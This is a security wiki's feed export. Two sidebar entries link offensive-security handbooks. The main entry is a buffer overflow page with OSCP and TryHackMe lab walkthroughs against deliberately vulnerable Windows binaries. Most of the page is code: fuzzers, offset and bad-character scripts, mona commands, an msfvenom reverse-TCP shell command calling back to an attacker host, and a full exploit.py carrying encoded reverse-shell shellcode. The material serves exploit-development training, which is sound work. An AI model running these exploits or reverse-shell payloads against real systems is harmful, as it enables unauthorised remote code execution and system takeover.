** Category:Learning Path|All Notes&lt;br /&gt;
* Programming&lt;br /&gt;
** Programming/DotNet - Basics and Examples|C#&lt;br /&gt;
** Programming/Python - Notes and Examples|Python&lt;br /&gt;
* HomeLab&lt;br /&gt;
** HomeLab/Detection Lab|Detection Lab&lt;br /&gt;
** Homelab Cheatsheet|Homelab Cheatsheet&lt;br /&gt;
** Category:HomeLab|All Guides&lt;br /&gt;
* SEARCH&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=MediaWiki:Sidebar&amp;diff=2315</id>
		<title>MediaWiki:Sidebar</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=MediaWiki:Sidebar&amp;diff=2315"/>
		<updated>2026-02-26T11:12:40Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* navigation&lt;br /&gt;
** mainpage|Main Page&lt;br /&gt;
** Special:Allpages|All Pages&lt;br /&gt;
** SecurityTools|Tools&lt;br /&gt;
* Handbooks&lt;br /&gt;
** Handbook I - Basic|Handbook I - Basic&lt;br /&gt;
** Handbook II - Advanced|Handbook II - Advanced&lt;br /&gt;
** Handbook III - Cloud|Handbook III - Cloud&lt;br /&gt;
** Handbook IV - RedTeam|Handbook IV - RedTeam&lt;br /&gt;
** Handbook V - Maldev|Handbook V - Maldev&lt;br /&gt;
* Offensive Security&lt;br /&gt;
** Offensive Security/Active Directory|Active Directory&lt;br /&gt;
** Offensive Security/AV Evasion|AV Evasion&lt;br /&gt;
** Offensive Security/Buffer Overflow|Buffer Overflow&lt;br /&gt;
** Offensive Security/Command and Control|C2 Framework&lt;br /&gt;
** Offensive Security/Pivoting and Port Forwarding|Pivoting&lt;br /&gt;
** Offensive Security/OSEP Checklist|OSEP Checklist&lt;br /&gt;
* Write-ups&lt;br /&gt;
** Write-ups|All Write-ups&lt;br /&gt;
** Category:HackTheBox|HackTheBox&lt;br /&gt;
** Category:TryHackMe|TryHackMe&lt;br /&gt;
* Learning Path&lt;br /&gt;
** Learning Path|Full Index&lt;br /&gt;
** Category:Learning Path|All Notes&lt;br /&gt;
* Programming&lt;br /&gt;
** Programming/.NET - Basics and Examples|C#&lt;br /&gt;
** Programming/Python - Notes and Examples|Python&lt;br /&gt;
* HomeLab&lt;br /&gt;
** HomeLab/Detection Lab|Detection Lab&lt;br /&gt;
** Homelab Cheatsheet|Homelab Cheatsheet&lt;br /&gt;
** Category:HomeLab|All Guides&lt;br /&gt;
* SEARCH&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Offensive_Security/Buffer_Overflow&amp;diff=2314</id>
		<title>Offensive Security/Buffer Overflow</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Offensive_Security/Buffer_Overflow&amp;diff=2314"/>
		<updated>2026-02-18T10:34:28Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:2020-08-buffer-overflow-bg.jpg|thumb|Buffer Overflow [Linux, GDB|https://www.cyberpunk.rs/buffer-overflow-linux-gdb]]&lt;br /&gt;
&lt;br /&gt;
Buffers are memory storage regions that temporarily hold data while it is being transferred from one location to another. A buffer overflow (or buffer overrun) occurs when the volume of data exceeds the storage capacity of the memory buffer. As a result, the program attempting to write the data to the buffer overwrites adjacent memory locations. (https://www.imperva.com/learn/application-security/buffer-overflow/)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Cheat sheet from V1n1v131r4 =&lt;br /&gt;
&lt;br /&gt;
[https://github.com/V1n1v131r4/OSCP-Buffer-Overflow V1n1v131r4 cheatsheet]&lt;br /&gt;
&lt;br /&gt;
=== connect.py ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
import socket&lt;br /&gt;
# set up the IP and port we&#039;re connecting to&lt;br /&gt;
RHOST = &amp;quot;192.168.56.112&amp;quot;&lt;br /&gt;
RPORT = 31337&lt;br /&gt;
# create a TCP connection (socket)&lt;br /&gt;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
s.connect((RHOST, RPORT))&lt;br /&gt;
# build a happy little message followed by a newline&lt;br /&gt;
buf = &amp;quot;&amp;quot;&lt;br /&gt;
buf += &amp;quot;Python Script&amp;quot;&lt;br /&gt;
buf += &amp;quot;\n&amp;quot;&lt;br /&gt;
# send the happy little message down the socket&lt;br /&gt;
s.send(buf)&lt;br /&gt;
# print out what we sent&lt;br /&gt;
print &amp;quot;Sent: {0}&amp;quot;.format(buf)&lt;br /&gt;
# receive some data from the socket&lt;br /&gt;
data = s.recv(1024)&lt;br /&gt;
# print out what we received&lt;br /&gt;
print &amp;quot;Received: {0}&amp;quot;.format(data)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== fuzzing.py ===&lt;br /&gt;
&lt;br /&gt;
We will run the &amp;lt;code&amp;gt;connect.py&amp;lt;/code&amp;gt; script to verify the application&#039;s response.&lt;br /&gt;
&lt;br /&gt;
After this step, we will run the &amp;lt;code&amp;gt;fuzzing.py&amp;lt;/code&amp;gt; script to identify the point that the application will crash. But before that, on your Windows, attach the application to the Immunity Debugger.&lt;br /&gt;
&lt;br /&gt;
Change the amount of &amp;quot;A&amp;quot; in the script until the application broken.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
import socket&lt;br /&gt;
RHOST = &amp;quot;192.168.56.112&amp;quot;&lt;br /&gt;
RPORT = 31337&lt;br /&gt;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
s.connect((RHOST, RPORT))&lt;br /&gt;
buf = &amp;quot;&amp;quot;&lt;br /&gt;
buf += &amp;quot;A&amp;quot;*1024&lt;br /&gt;
buf += &amp;quot;\n&amp;quot;&lt;br /&gt;
s.send(buf)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== offset.py ===&lt;br /&gt;
&lt;br /&gt;
After finding the crash point of the application, we will identify the offset to the EIP address. For this we will generate a string with the pattern_create, from the MSF suite&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msf-pattern_create -l 1024&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy the EIP address into the Immunity Debugger and use the pattern_offset to identify this address&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msf-pattern_offset -q 39654138&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now we can run &amp;lt;code&amp;gt;poc.py&amp;lt;/code&amp;gt; and verify that our EIP has been overwritten with the character &amp;quot;B&amp;quot; (42 in hexadecimal)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
import socket&lt;br /&gt;
RHOST = &amp;quot;192.168.56.112&amp;quot;&lt;br /&gt;
RPORT = 31337&lt;br /&gt;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
s.connect((RHOST, RPORT))&lt;br /&gt;
buf = &amp;quot;&amp;quot;&lt;br /&gt;
buf += &amp;quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B&amp;quot;&lt;br /&gt;
buf += &amp;quot;\n&amp;quot;&lt;br /&gt;
s.send(buf)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== poc.py ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
import socket&lt;br /&gt;
RHOST = &amp;quot;192.168.56.112&amp;quot;&lt;br /&gt;
RPORT = 31337&lt;br /&gt;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
s.connect((RHOST, RPORT))&lt;br /&gt;
buf = &amp;quot;&amp;quot;&lt;br /&gt;
buf += &amp;quot;A&amp;quot; * 146 + &amp;quot;BBBB&amp;quot; + &amp;quot;C&amp;quot; * 300&lt;br /&gt;
buf += &amp;quot;\n&amp;quot;&lt;br /&gt;
s.send(buf)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== badchars.py ===&lt;br /&gt;
&lt;br /&gt;
To identify badchars we will use mona with the option &amp;lt;code&amp;gt;!mona bytearray&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Insert the mona output in the &amp;lt;code&amp;gt;badchars.py&amp;lt;/code&amp;gt; script and run against the application to identify the badchars.&lt;br /&gt;
&lt;br /&gt;
There are many ways to carry out the badchar identification process (even mona has modules for that), but the most accurate way is visually. Follow the ASCII string in the Immunity Debugger and see what points this string crashed or skipped over.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
import socket&lt;br /&gt;
RHOST = &amp;quot;192.168.56.112&amp;quot;&lt;br /&gt;
RPORT = 31337&lt;br /&gt;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
s.connect((RHOST, RPORT))&lt;br /&gt;
buf = &amp;quot;&amp;quot;&lt;br /&gt;
buf += &amp;quot;A&amp;quot; * 146 + &amp;quot;BBBB&amp;quot; + &amp;quot;C&amp;quot; * 10&lt;br /&gt;
buf += (&lt;br /&gt;
&amp;quot;\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f&amp;quot;&lt;br /&gt;
&amp;quot;\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f&amp;quot;&lt;br /&gt;
&amp;quot;\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f&amp;quot;&lt;br /&gt;
&amp;quot;\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f&amp;quot;&lt;br /&gt;
&amp;quot;\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f&amp;quot;&lt;br /&gt;
&amp;quot;\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf&amp;quot;&lt;br /&gt;
&amp;quot;\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf&amp;quot;&lt;br /&gt;
&amp;quot;\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&amp;quot;&lt;br /&gt;
)&lt;br /&gt;
buf += &amp;quot;\n&amp;quot;&lt;br /&gt;
s.send(buf)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JMP ESP ===&lt;br /&gt;
&lt;br /&gt;
After knowing the badchars of the application, we will identify the JMP ESP that will be responsible for changing the natural flow of the application and making it run the shellcode that we will insert into the stack.&lt;br /&gt;
&lt;br /&gt;
The OPCODE for JMP ESP is &amp;lt;code&amp;gt;\xff\xe4&amp;lt;/code&amp;gt; (in assembly). Using mona we will locate which register in the application that points to this OPCODE and so we can change the flow of the application to run our shellcode, rewriting the stack from its base (EBP).&lt;br /&gt;
&lt;br /&gt;
Run &amp;lt;code&amp;gt;!mona modules&amp;lt;/code&amp;gt; and identify the unprotected modules.&lt;br /&gt;
&lt;br /&gt;
Run &amp;lt;code&amp;gt;!mona find -s &amp;quot;\xff\xe4&amp;quot;&amp;lt;/code&amp;gt; to identify which of these pointers have the OPCODE for JMP ESP&lt;br /&gt;
&lt;br /&gt;
Run &amp;lt;code&amp;gt;!mona jmp -r esp -cpb &amp;quot;\x00\x0a&amp;quot;&amp;lt;/code&amp;gt; to identify which pointers do not have the badchars found.&lt;br /&gt;
&lt;br /&gt;
By this point you may have already found the correct JMP ESP address. However, if you want to check, run &amp;lt;code&amp;gt;!mona find -s &amp;quot;\xff\xe4&amp;quot; -m dostackbufferoverflowgood.exe&amp;lt;/code&amp;gt; directly on the identified vulnerable module.&lt;br /&gt;
&lt;br /&gt;
At this point you will have the base address of the stack or return address (EBP). We need to convert this address to little-endian format to use it in our code. Just invert the bytes to perform this conversion:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
0x080416BF    &amp;quot;\xBF\x16\x04\x08&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== exploit.py ===&lt;br /&gt;
&lt;br /&gt;
We can now generate our shellcode excluding the badchars found:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.103 LPORT=443 EXITFUNC=thread  -f c –e x86/shikata_ga_nai -b &amp;quot;\x00\x0a&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;EXITFUNC=thread&amp;lt;/code&amp;gt; option prevents the shellcode from crashing the application when executing our shellcode.&lt;br /&gt;
&lt;br /&gt;
Now just insert the msfvenom output in our &amp;lt;code&amp;gt;exploit.py&amp;lt;/code&amp;gt; and run it against our application to gain access to the system exploiting the Buffer Overflow&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
import socket&lt;br /&gt;
RHOST = &amp;quot;192.168.56.112&amp;quot;&lt;br /&gt;
RPORT = 31337&lt;br /&gt;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
s.connect((RHOST, RPORT))&lt;br /&gt;
shellcode = (&amp;quot;\xdd\xc2\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x52\xbe\xd3\xb0\x95&amp;quot;&lt;br /&gt;
&amp;quot;\x6b\x83\xeb\xfc\x31\x73\x13\x03\xa0\xa3\x77\x9e\xba\x2c\xf5&amp;quot;&lt;br /&gt;
&amp;quot;\x61\x42\xad\x9a\xe8\xa7\x9c\x9a\x8f\xac\x8f\x2a\xdb\xe0\x23&amp;quot;&lt;br /&gt;
&amp;quot;\xc0\x89\x10\xb7\xa4\x05\x17\x70\x02\x70\x16\x81\x3f\x40\x39&amp;quot;&lt;br /&gt;
&amp;quot;\x01\x42\x95\x99\x38\x8d\xe8\xd8\x7d\xf0\x01\x88\xd6\x7e\xb7&amp;quot;&lt;br /&gt;
&amp;quot;\x3c\x52\xca\x04\xb7\x28\xda\x0c\x24\xf8\xdd\x3d\xfb\x72\x84&amp;quot;&lt;br /&gt;
&amp;quot;\x9d\xfa\x57\xbc\x97\xe4\xb4\xf9\x6e\x9f\x0f\x75\x71\x49\x5e&amp;quot;&lt;br /&gt;
&amp;quot;\x76\xde\xb4\x6e\x85\x1e\xf1\x49\x76\x55\x0b\xaa\x0b\x6e\xc8&amp;quot;&lt;br /&gt;
&amp;quot;\xd0\xd7\xfb\xca\x73\x93\x5c\x36\x85\x70\x3a\xbd\x89\x3d\x48&amp;quot;&lt;br /&gt;
&amp;quot;\x99\x8d\xc0\x9d\x92\xaa\x49\x20\x74\x3b\x09\x07\x50\x67\xc9&amp;quot;&lt;br /&gt;
&amp;quot;\x26\xc1\xcd\xbc\x57\x11\xae\x61\xf2\x5a\x43\x75\x8f\x01\x0c&amp;quot;&lt;br /&gt;
&amp;quot;\xba\xa2\xb9\xcc\xd4\xb5\xca\xfe\x7b\x6e\x44\xb3\xf4\xa8\x93&amp;quot;&lt;br /&gt;
&amp;quot;\xb4\x2e\x0c\x0b\x4b\xd1\x6d\x02\x88\x85\x3d\x3c\x39\xa6\xd5&amp;quot;&lt;br /&gt;
&amp;quot;\xbc\xc6\x73\x79\xec\x68\x2c\x3a\x5c\xc9\x9c\xd2\xb6\xc6\xc3&amp;quot;&lt;br /&gt;
&amp;quot;\xc3\xb9\x0c\x6c\x69\x40\xc7\x53\xc6\x72\x70\x3c\x15\x82\x7f&amp;quot;&lt;br /&gt;
&amp;quot;\x07\x90\x64\x15\x67\xf5\x3f\x82\x1e\x5c\xcb\x33\xde\x4a\xb6&amp;quot;&lt;br /&gt;
&amp;quot;\x74\x54\x79\x47\x3a\x9d\xf4\x5b\xab\x6d\x43\x01\x7a\x71\x79&amp;quot;&lt;br /&gt;
&amp;quot;\x2d\xe0\xe0\xe6\xad\x6f\x19\xb1\xfa\x38\xef\xc8\x6e\xd5\x56&amp;quot;&lt;br /&gt;
&amp;quot;\x63\x8c\x24\x0e\x4c\x14\xf3\xf3\x53\x95\x76\x4f\x70\x85\x4e&amp;quot;&lt;br /&gt;
&amp;quot;\x50\x3c\xf1\x1e\x07\xea\xaf\xd8\xf1\x5c\x19\xb3\xae\x36\xcd&amp;quot;&lt;br /&gt;
&amp;quot;\x42\x9d\x88\x8b\x4a\xc8\x7e\x73\xfa\xa5\xc6\x8c\x33\x22\xcf&amp;quot;&lt;br /&gt;
&amp;quot;\xf5\x29\xd2\x30\x2c\xea\xf2\xd2\xe4\x07\x9b\x4a\x6d\xaa\xc6&amp;quot;&lt;br /&gt;
&amp;quot;\x6c\x58\xe9\xfe\xee\x68\x92\x04\xee\x19\x97\x41\xa8\xf2\xe5&amp;quot;&lt;br /&gt;
&amp;quot;\xda\x5d\xf4\x5a\xda\x77&amp;quot;)&lt;br /&gt;
buf = &amp;quot;&amp;quot;&lt;br /&gt;
buf += &amp;quot;A&amp;quot; * 146 + &amp;quot;\xc3\x14\x04\x08&amp;quot; + &amp;quot;\x90&amp;quot; * 16 + shellcode&lt;br /&gt;
buf += &amp;quot;\n&amp;quot;&lt;br /&gt;
s.send(buf)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Buffer overflow receipe from THM and OffSec =&lt;br /&gt;
&lt;br /&gt;
This is taken from https://tryhackme.com/room/bufferoverflowprep&lt;br /&gt;
&lt;br /&gt;
=== 1 - Open and run oscp.exe ===&lt;br /&gt;
&lt;br /&gt;
* Open Immunity Debugger, open oscp.exe (File -&amp;gt; Open) and click run. (Binary opens in paused state).* It opens CMD telling us that its listening to port 1337* nc IP PORTHELP* OVERFLOW(number) test (return: OVERFLOW1 COMPLETE)* Create working dir &amp;lt;code&amp;gt;!mona config -set workingfolder c:\mona\%p&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fuzzer script ====&lt;br /&gt;
&lt;br /&gt;
* Run fuzzer script and note the byte when server crashes.Example &amp;lt;code&amp;gt;Fuzzing crashed at 2000 bytes&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import socket, time, sys&lt;br /&gt;
ip = &amp;quot;10.10.45.175&amp;quot;&lt;br /&gt;
port = 1337&lt;br /&gt;
timeout = 5&lt;br /&gt;
prefix = &amp;quot;OVERFLOW1 &amp;quot;&lt;br /&gt;
string = prefix + &amp;quot;A&amp;quot; * 100&lt;br /&gt;
while True:&lt;br /&gt;
  try:&lt;br /&gt;
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:&lt;br /&gt;
      s.settimeout(timeout)&lt;br /&gt;
      s.connect((ip, port))&lt;br /&gt;
      s.recv(1024)&lt;br /&gt;
      print(&amp;quot;Fuzzing with {} bytes&amp;quot;.format(len(string) - len(prefix)))&lt;br /&gt;
      s.send(bytes(string, &amp;quot;latin-1&amp;quot;))&lt;br /&gt;
      s.recv(1024)&lt;br /&gt;
  except:&lt;br /&gt;
    print(&amp;quot;Fuzzing crashed at {} bytes&amp;quot;.format(len(string) - len(prefix)))&lt;br /&gt;
    sys.exit(0)&lt;br /&gt;
  string += 100 * &amp;quot;A&amp;quot;&lt;br /&gt;
  time.sleep(1)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Crash replication and controlling EIP script - exploit.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
ip = &amp;quot;10.10.45.175&amp;quot;&lt;br /&gt;
port = 1337&lt;br /&gt;
prefix = &amp;quot;OVERFLOW1 &amp;quot;&lt;br /&gt;
offset = 0&lt;br /&gt;
overflow = &amp;quot;A&amp;quot; * offset&lt;br /&gt;
retn = &amp;quot;&amp;quot;&lt;br /&gt;
padding = &amp;quot;&amp;quot;&lt;br /&gt;
payload = &amp;quot;&amp;quot;&lt;br /&gt;
postfix = &amp;quot;&amp;quot;&lt;br /&gt;
buffer = prefix + overflow + retn + padding + payload + postfix&lt;br /&gt;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
try:&lt;br /&gt;
  s.connect((ip, port))&lt;br /&gt;
  print(&amp;quot;Sending evil buffer...&amp;quot;)&lt;br /&gt;
  s.send(bytes(buffer + &amp;quot;\r\n&amp;quot;, &amp;quot;latin-1&amp;quot;))&lt;br /&gt;
  print(&amp;quot;Done!&amp;quot;)&lt;br /&gt;
except:&lt;br /&gt;
  print(&amp;quot;Could not connect.&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== 2 - Running exploit ===&lt;br /&gt;
&lt;br /&gt;
The purpose of this section is to find the EIP offset. By knowing approximatly when the program crashed, we will create a pattern longer than the bytes at which the program crashed and calculate EIP offset, knowing exactly which byte the EIP is overwritten.&lt;br /&gt;
&lt;br /&gt;
* Generate cyclic pattern, 400 bytes longer than string that crashed the server. Change value -l &amp;lt;code&amp;gt;/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600&amp;lt;/code&amp;gt;* Add the value in exploit.py -&amp;gt; &amp;lt;code&amp;gt;payload = &amp;quot;&amp;quot;&amp;lt;/code&amp;gt;* Close and re-open oscp.exe. Remember to start.* &amp;lt;code&amp;gt;python3 exploit.py&amp;lt;/code&amp;gt;* Find EIP offset. &amp;lt;code&amp;gt;!mona findmsp -distance 600&amp;lt;/code&amp;gt; (Distance same as -l length).&amp;lt;code&amp;gt;EIP contains normal pattern : ... (offset XXXX)&amp;lt;/code&amp;gt;* Edit exploit.py --&amp;gt; add offset variable to EIP above.* Set payload value to empty (&amp;quot;&amp;quot;).* Set retn to &amp;lt;code&amp;gt;BBBB&amp;lt;/code&amp;gt;.* Restart &amp;lt;code&amp;gt;oscp.exe&amp;lt;/code&amp;gt; and run exploit.py.* Notice EIP register is overwritten with 4 B&#039;s eg. 42424242. (retn value)&lt;br /&gt;
&lt;br /&gt;
=== 3 - Looking for space for shellcode ===&lt;br /&gt;
&lt;br /&gt;
11.2.15 in OSCP pdf&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SxNade/THM_Buffer-Overflow-Prep/blob/main/5/space.py https://github.com/SxNade/THM_Buffer-Overflow-Prep/blob/main/5/space.py]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
filler = &amp;quot;A&amp;quot; * 780&lt;br /&gt;
eip = &amp;quot;B&amp;quot; * 4&lt;br /&gt;
offset = &amp;quot;C&amp;quot; * 4&lt;br /&gt;
buffer = &amp;quot;D&amp;quot; * (1500 - len(filler) - len(eip) - len(offset))&lt;br /&gt;
inputBuffer = filler + eip + offset + buffer&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== 4 - Finding Bad Characters ===&lt;br /&gt;
&lt;br /&gt;
* Generate a bytearray using mona. Exclude the nullbyte \x00. * &amp;lt;code&amp;gt;!mona bytearray -b &amp;quot;\x00&amp;quot;&amp;lt;/code&amp;gt;* Generate a string of bad chars that is identical to the bytearray. Use below script to generate a string of bad chars from \x01 to \xff.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
for x in range(1, 256):&lt;br /&gt;
  print(&amp;quot;\\x&amp;quot; + &amp;quot;{:02x}&amp;quot;.format(x), end=&#039;&#039;)&lt;br /&gt;
print()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Update exploit.py script and set the payload variable to the string of bad chars the script generates. * Restart oscp.exe in Immunity and run modified exploit.py. * Note address to which the ESP register points and use it in this mona command:* &amp;lt;code&amp;gt;!mona compare -f C:\mona\oscp\bytearray.bin -a &amp;lt;address&amp;gt;&amp;lt;/code&amp;gt;* In the pop-up window labelled &amp;quot;mona Memory comparison results&amp;quot; it shows the result of the comparison, indicating any characters that are different in memory to what they are in the generated bytearray.bin file.&lt;br /&gt;
&lt;br /&gt;
Not all of these might be badchars! Sometimes badchars cause the next bye to get corrupted as well, or even effect the rest of the string.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
